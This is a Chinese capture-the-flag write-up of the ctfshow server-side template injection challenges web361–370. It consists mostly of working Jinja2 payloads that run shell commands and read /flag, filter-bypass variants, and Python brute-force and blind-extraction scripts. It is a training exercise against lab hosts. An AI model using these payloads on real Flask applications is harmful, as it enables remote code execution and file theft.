• ctfshow-ssti


    web361

    名字就是考点,所以注入点就是name

    先测试一下存不存在ssti漏洞

    利用os模块,脚本

    查看一下子类的集合

    ?name={{''.__class__.__base__.__subclasses__()}}

    看看有没有os模块,查找os

    利用这个类,用脚本跑他的位置

    1. import time
    2. import requests
    3. url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
    4. for i in range(500):
    5. data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
    6. url1=url+data
    7. response = requests.get(url=url1)
    8. if "os._wrap_close" in response.text:
    9. print(i)
    10. if response.status_code == 429 :
    11. time.sleep(0.5)

    但是这样跑的比较慢,修改为多线程,会很快

    1. import threading
    2. import requests
    3. import time
    4. url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
    5. def check_url(i):
    6. data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
    7. url1=url+data
    8. response = requests.get(url=url1)
    9. if "os._wrap_close" in response.text:
    10. print(i)
    11. if response.status_code == 429 :
    12. time.sleep(0.5)
    13. threads = []
    14. for i in range(500):
    15. t = threading.Thread(target=check_url, args=(i,))
    16. threads.append(t)
    17. t.start()
    18. for t in threads:
    19. t.join()

    ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

    config查看配置

    ?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

    name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

    直接查看flag

     

    lipsum cycler 执行命令

    1. ?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
    2. ?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

    web362

    发现跟361一模一样

    ?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

    ?name={{lipsum.__globals__['os'].popen('cat /flag').read()}}

     或者利用os模块,跟上面一样就不试了

    web363 过滤引号

    request.args传参绕过

    request.args是flask中一个存储着请求参数以及其值的字典

    假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

    随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

    原payload:

    ?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

     传入a和b的值执行命令

    ?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=ls

    执行成功

    直接查看flag

    web364 过滤args

    用刚才的payload被过滤了

    request.values

    搜索发现除了request.args还有request.values

    values 可以获取所有参数,从而绕过 args

    ?name={{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag

    chr()绕过 

    通过python自带函数来绕过引号,这里使用的是chr()

    判断chr()函数的位置

    {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

    使用bp爆破,查看状态为200

    这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()

    接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面

    原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表
     

    1. 'os' ==>chr(111)%2bchr(115)
    2. 'cat ../flag' ==>
    3. chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)

    再把替换后的payload放在后面,两段拼在一起得到最终姿势

    1. ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

    web365  过滤[]

    __getitem__pop

    因为pop会破坏数组的结构,所以更推荐用__getitem__

    上面的两个payload都可以修改

    1. ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
    2. 第一处的[]直接换成()即可
    3. 第二处的[0]换成.__getitem__(0)或者直接删去
    4. 第三处的[80]换成.__getitem__(80)
    5. 第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))
    1. http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

     

    ?name={{lipsum.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag

    web366 过滤下划线_

    attr获取变量  

    ?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

    web367

    用366的payload也可以

    ?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

    web368 过滤{{

    {%%}绕过

    借助print()回显

    ?name={% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

    {%%}盲注 

    1. import requests
    2. url="http://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/"
    3. flag=""
    4. for i in range(1,100):
    5. for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
    6. params={
    7. 'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i), //open函数读取/flag文件的内容
    8. 'a':'__globals__',
    9. 'b':'__builtins__',
    10. 'c':'/flag',
    11. 'd':f'{flag+j}' //将flag与request.values.d进行比较,如果相等,则将字符串"feng"赋值给变量a。
    12. }
    13. r=requests.get(url=url,params=params)
    14. if "feng" in r.text:
    15. flag+=j
    16. print(flag)
    17. if j=="}":
    18. exit()
    19. break

     

    web369 过滤request

    不同的变量赋值,然后拼接成我们想要的命令

    1. ?name=
    2. {% set po=dict(po=a,p=a)|join%}
    3. {% set a=(()|select|string|list)|attr(po)(24)%}
    4. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    5. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    6. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    7. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    8. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    9. {% set chr=x.chr%}
    10. {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
    11. {%print(x.open(file).read())%}

    这相当于

    lipsum.__globals__['__builtins__'].open('/flag').read()

    set 创造变量

    构造po="pop"     #利用dict()|join拼接得到
    {% set po=dict(po=a,p=a)|join%}

    等效于a=(()|select|string|list).pop(24),即a等价于下划线_
    {% set a=(()|select|string|list)|attr(po)(24)%}

    select 过滤器用于选择对象的属性或方法。

    string 过滤器将对象转换为字符串。

    list 过滤器将对象转换为列表。

    构造ini="___init__"
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

    构造glo="__globals__"
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

    构造geti="__getitem__"
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

    构造built="__builtins__"
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

    调用chr()函数
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}

    构造file='/flag'
    {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

    web370 过滤数字

    1. ?name=
    2. {% set c=(dict(e=a)|join|count)%}
    3. {% set cc=(dict(ee=a)|join|count)%}
    4. {% set ccc=(dict(eee=a)|join|count)%}
    5. {% set cccc=(dict(eeee=a)|join|count)%}
    6. {% set ccccccc=(dict(eeeeeee=a)|join|count)%}
    7. {% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
    8. {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
    9. {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
    10. {% set coun=(cc~cccc)|int%}
    11. {% set po=dict(po=a,p=a)|join%}
    12. {% set a=(()|select|string|list)|attr(po)(coun)%}
    13. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    14. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    15. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    16. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    17. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    18. {% set chr=x.chr%}
    19. {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
    20. {%print(x.open(file).read())%}

    主要就是后面ascii码被过滤,需要用c来代替

    几个c就代表几,比如c=1,ccc=3
    用~拼接    构造coun=24
    {% set coun=(cc~cccc)|int%}

    同web169
    {% set po=dict(po=a,p=a)|join%}
    {% set a=(()|select|string|list)|attr(po)(coun)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    调用chr()函数
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}
    构造file="/flag"
    {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

  • 相关阅读:
    KiB、MiB与KB、MB的区别
    浅谈东数西算战略中,发挥算网大脑作用的4个关键点
    转变命运!揭秘反转链表的神奇算法!
    以技术御风险,护航云原生 | 同创永益 X 博云举办产品联合发布会
    Qt实现动态桌面小精灵(含源码)
    python实例代码介绍python基础知识
    C&Python:表达式的求值顺序(evaluation order)
    Java GenericObjectPool 对象池化技术--SpringBoot sftp 连接池工具类
    POJ—1338-丑陋的数字
    【Qt】QGroundControl入门4:框架QGCApplication
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133755428